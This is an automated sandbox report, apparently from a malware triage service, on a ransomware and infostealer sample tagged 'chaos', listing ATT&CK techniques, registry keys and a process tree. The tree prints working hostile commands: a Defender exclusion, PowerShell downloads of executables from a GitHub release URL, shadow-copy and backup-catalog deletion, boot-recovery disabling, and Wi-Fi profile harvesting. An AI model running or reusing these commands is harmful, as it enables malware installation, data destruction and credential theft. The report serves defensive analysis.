chaos | 9e13904bbfb3b36110a58fc9f339fc82957e5c938c79bd87d9bcbbf04dcd65f7

pid	Process
5536	bcdedit.exe
5208	bcdedit.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
9	5584	powershell.exe
14	5584	powershell.exe
36	4872	powershell.exe
37	4872	powershell.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

credential_access stealer

pid	Process
1492	wbadmin.exe

Disables Task Manager via registry modification
defense_evasion

Downloads MZ/PE file 2 IoCs

flow	pid	Process
14	5584	powershell.exe
37	4872	powershell.exe

Uses browser remote debugging 2 TTPs 5 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
5300	chrome.exe
3312	chrome.exe
4068	chrome.exe
3768	chrome.exe
3776	chrome.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	svchost.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\readme.txt	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe

Executes dropped EXE 3 IoCs

pid	Process
1976	build.exe
4476	kernelv.exe
3532	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	kernelv.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	kernelv.exe
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	kernelv.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5584	powershell.exe
4872	powershell.exe
3720	powershell.exe

Drops desktop.ini file(s) 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\3D Objects\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn1\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn2\desktop.ini	svchost.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	svchost.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
38	ipinfo.io
39	ipinfo.io

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

persistence privilege_escalation

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\84uzcilpd.jpg"	svchost.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4040-0-0x0000000140000000-0x0000000140027000-memory.dmp	upx
behavioral2/memory/4040-66-0x0000000140000000-0x0000000140027000-memory.dmp	upx

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3720	powershell.exe
3776	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kernelv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3732	cmd.exe
5308	netsh.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	kernelv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	kernelv.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
664	vssadmin.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000_Classes\Local Settings	svchost.exe

Opens file in notepad (likely ransom note) 1 IoCs

pid	Process
5572	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3532	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3720	powershell.exe
3720	powershell.exe
5584	powershell.exe
5584	powershell.exe
4872	powershell.exe
4872	powershell.exe
1976	build.exe
3776	powershell.exe
3776	powershell.exe
1976	build.exe
1976	build.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
4476	kernelv.exe
4476	kernelv.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
1976	build.exe
1976	build.exe
4476	kernelv.exe
4476	kernelv.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
4476	kernelv.exe
1976	build.exe
1976	build.exe
1976	build.exe
1976	build.exe
3532	svchost.exe
3532	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3312	chrome.exe
3312	chrome.exe
3312	chrome.exe
3312	chrome.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

description	pid	Process
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	1976	build.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	4476	kernelv.exe
Token: SeDebugPrivilege	3532	svchost.exe
Token: SeBackupPrivilege	968	vssvc.exe
Token: SeRestorePrivilege	968	vssvc.exe
Token: SeAuditPrivilege	968	vssvc.exe
Token: SeIncreaseQuotaPrivilege	728	WMIC.exe
Token: SeSecurityPrivilege	728	WMIC.exe
Token: SeTakeOwnershipPrivilege	728	WMIC.exe
Token: SeLoadDriverPrivilege	728	WMIC.exe
Token: SeSystemProfilePrivilege	728	WMIC.exe
Token: SeSystemtimePrivilege	728	WMIC.exe
Token: SeProfSingleProcessPrivilege	728	WMIC.exe
Token: SeIncBasePriorityPrivilege	728	WMIC.exe
Token: SeCreatePagefilePrivilege	728	WMIC.exe
Token: SeBackupPrivilege	728	WMIC.exe
Token: SeRestorePrivilege	728	WMIC.exe
Token: SeShutdownPrivilege	728	WMIC.exe
Token: SeDebugPrivilege	728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	728	WMIC.exe
Token: SeRemoteShutdownPrivilege	728	WMIC.exe
Token: SeUndockPrivilege	728	WMIC.exe
Token: SeManageVolumePrivilege	728	WMIC.exe
Token: 33	728	WMIC.exe
Token: 34	728	WMIC.exe
Token: 35	728	WMIC.exe
Token: 36	728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	728	WMIC.exe
Token: SeSecurityPrivilege	728	WMIC.exe
Token: SeTakeOwnershipPrivilege	728	WMIC.exe
Token: SeLoadDriverPrivilege	728	WMIC.exe
Token: SeSystemProfilePrivilege	728	WMIC.exe
Token: SeSystemtimePrivilege	728	WMIC.exe
Token: SeProfSingleProcessPrivilege	728	WMIC.exe
Token: SeIncBasePriorityPrivilege	728	WMIC.exe
Token: SeCreatePagefilePrivilege	728	WMIC.exe
Token: SeBackupPrivilege	728	WMIC.exe
Token: SeRestorePrivilege	728	WMIC.exe
Token: SeShutdownPrivilege	728	WMIC.exe
Token: SeDebugPrivilege	728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	728	WMIC.exe
Token: SeRemoteShutdownPrivilege	728	WMIC.exe
Token: SeUndockPrivilege	728	WMIC.exe
Token: SeManageVolumePrivilege	728	WMIC.exe
Token: 33	728	WMIC.exe
Token: 34	728	WMIC.exe
Token: 35	728	WMIC.exe
Token: 36	728	WMIC.exe
Token: SeBackupPrivilege	2420	wbengine.exe
Token: SeRestorePrivilege	2420	wbengine.exe
Token: SeSecurityPrivilege	2420	wbengine.exe
Token: SeShutdownPrivilege	3312	chrome.exe
Token: SeCreatePagefilePrivilege	3312	chrome.exe
Token: SeShutdownPrivilege	3312	chrome.exe
Token: SeCreatePagefilePrivilege	3312	chrome.exe
Token: SeShutdownPrivilege	3312	chrome.exe
Token: SeCreatePagefilePrivilege	3312	chrome.exe
Token: SeShutdownPrivilege	3312	chrome.exe
Token: SeCreatePagefilePrivilege	3312	chrome.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3312	chrome.exe
3312	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 2732	4040	initialize.exe	88
PID 4040 wrote to memory of 2732	4040	initialize.exe	88
PID 2732 wrote to memory of 1248	2732	cmd.exe	89
PID 2732 wrote to memory of 1248	2732	cmd.exe	89
PID 1248 wrote to memory of 5604	1248	net.exe	90
PID 1248 wrote to memory of 5604	1248	net.exe	90
PID 2732 wrote to memory of 3720	2732	cmd.exe	91
PID 2732 wrote to memory of 3720	2732	cmd.exe	91
PID 2732 wrote to memory of 5584	2732	cmd.exe	93
PID 2732 wrote to memory of 5584	2732	cmd.exe	93
PID 2732 wrote to memory of 4872	2732	cmd.exe	96
PID 2732 wrote to memory of 4872	2732	cmd.exe	96
PID 2732 wrote to memory of 1976	2732	cmd.exe	99
PID 2732 wrote to memory of 1976	2732	cmd.exe	99
PID 2732 wrote to memory of 4476	2732	cmd.exe	100
PID 2732 wrote to memory of 4476	2732	cmd.exe	100
PID 2732 wrote to memory of 4476	2732	cmd.exe	100
PID 2732 wrote to memory of 3776	2732	cmd.exe	101
PID 2732 wrote to memory of 3776	2732	cmd.exe	101
PID 4476 wrote to memory of 3732	4476	kernelv.exe	104
PID 4476 wrote to memory of 3732	4476	kernelv.exe	104
PID 4476 wrote to memory of 3732	4476	kernelv.exe	104
PID 3732 wrote to memory of 3296	3732	cmd.exe	106
PID 3732 wrote to memory of 3296	3732	cmd.exe	106
PID 3732 wrote to memory of 3296	3732	cmd.exe	106
PID 3732 wrote to memory of 5308	3732	cmd.exe	107
PID 3732 wrote to memory of 5308	3732	cmd.exe	107
PID 3732 wrote to memory of 5308	3732	cmd.exe	107
PID 3732 wrote to memory of 1032	3732	cmd.exe	108
PID 3732 wrote to memory of 1032	3732	cmd.exe	108
PID 3732 wrote to memory of 1032	3732	cmd.exe	108
PID 4476 wrote to memory of 3792	4476	kernelv.exe	109
PID 4476 wrote to memory of 3792	4476	kernelv.exe	109
PID 4476 wrote to memory of 3792	4476	kernelv.exe	109
PID 3792 wrote to memory of 2264	3792	cmd.exe	111
PID 3792 wrote to memory of 2264	3792	cmd.exe	111
PID 3792 wrote to memory of 2264	3792	cmd.exe	111
PID 3792 wrote to memory of 32	3792	cmd.exe	112
PID 3792 wrote to memory of 32	3792	cmd.exe	112
PID 3792 wrote to memory of 32	3792	cmd.exe	112
PID 1976 wrote to memory of 3532	1976	build.exe	114
PID 1976 wrote to memory of 3532	1976	build.exe	114
PID 3532 wrote to memory of 3304	3532	svchost.exe	116
PID 3532 wrote to memory of 3304	3532	svchost.exe	116
PID 3304 wrote to memory of 664	3304	cmd.exe	118
PID 3304 wrote to memory of 664	3304	cmd.exe	118
PID 4476 wrote to memory of 3312	4476	kernelv.exe	121
PID 4476 wrote to memory of 3312	4476	kernelv.exe	121
PID 3312 wrote to memory of 1396	3312	chrome.exe	122
PID 3312 wrote to memory of 1396	3312	chrome.exe	122
PID 3304 wrote to memory of 728	3304	cmd.exe	123
PID 3304 wrote to memory of 728	3304	cmd.exe	123
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124
PID 3312 wrote to memory of 4568	3312	chrome.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	kernelv.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	kernelv.exe

C:\Users\Admin\AppData\Local\Temp\initialize.exe
"C:\Users\Admin\AppData\Local\Temp\initialize.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A42F.tmp\A430.tmp\A431.bat C:\Users\Admin\AppData\Local\Temp\initialize.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/build.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\build.exe\" -ErrorAction Stop"
    3⤵
    - Blocklisted process makes network request
    - Downloads MZ/PE file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/kernelv.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\kernelv.exe\" -ErrorAction Stop"
    3⤵
    - Blocklisted process makes network request
    - Downloads MZ/PE file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4872
- - C:\Users\Admin\AppData\Local\Temp\build.exe
    "C:\Users\Admin\AppData\Local\Temp\build.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1976
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3532
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3304
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:664
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:728
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:4544
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:5536
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:5208
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:3932
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:1492
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\readme.txt
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:5572
- - C:\Users\Admin\AppData\Local\Temp\kernelv.exe
    "C:\Users\Admin\AppData\Local\Temp\kernelv.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:4476
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:3732
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3296
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5308
